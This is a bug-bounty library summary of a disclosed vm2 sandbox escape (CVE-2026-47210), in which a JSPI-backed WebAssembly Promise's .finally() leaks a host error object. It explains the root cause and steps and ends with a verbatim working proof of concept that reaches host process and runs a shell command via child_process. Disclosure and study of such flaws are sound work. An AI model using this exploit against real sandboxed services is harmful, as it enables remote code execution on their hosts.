# vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

JSPI-backed Promise from WebAssembly.promising bypasses vm2's Promise species hardening via .finally(), leaking a host TypeError whose constructor chain reaches host process for RCE.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: RealHurrison
- Disclosed: 2026-05-29
- CVE: CVE-2026-47210
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6j2x-vhqr-qr7q
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6j2x-vhqr-qr7q
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:evm tech:nodejs technique:source-review vuln:rce vuln:sandbox-escape

**Target:** vm2 sandbox on Node 26 with WebAssembly JSPI
**Root cause:** JSPI-backed Promises created via WebAssembly.promising do not route through vm2's localPromise machinery; .finally() reaches attacker-controlled species logic with a host-originated TypeError rejection object whose constructor chain exposes host constructors.
**Steps:**
1. Run on node:26-bookworm with vm2 <= 3.11.3.
2. Inside vm.run, instantiate a WASM module whose import is `new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))`.
3. Wrap the exported `run` with `WebAssembly.promising(...)()` to get a JSPI-backed Promise `p`.
4. Define class `F` with a `then` that captures the rejection `e`, and set `Symbol.species` to `F`.
5. Override `p.constructor` getter to return `F`, then call `p.finally(()=>{})`.
6. In the rejection handler, use `e.constructor.constructor('return process')()` and `process.mainModule.require('child_process').execSync('touch pwned')`.
**How found:** Observed that JSPI-backed Promises behave unlike ordinary sandbox Promises; noted then/catch still routed through vm2's localPromise but .finally() did not, then probed the rejection object's constructor chain.
**Exploitation:** Attacker-supplied sandboxed JS creates a JSPI Promise, forces species resolution through .finally(), and in the attacker's thenable rejection handler walks the leaked host TypeError's constructor chain to host Function, obtaining host process and executing arbitrary commands.
**Insight:** When auditing JS sandbox Promise hardening, test every species-consuming method (.finally, .then, .catch) separately against non-standard Promise sources like WebAssembly.promising/JSPI, since hardening may only cover the common paths.

## Proof of concept (copied exactly from the original report)

**vm2 escape PoC via JSPI Promise finally**

```
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
```

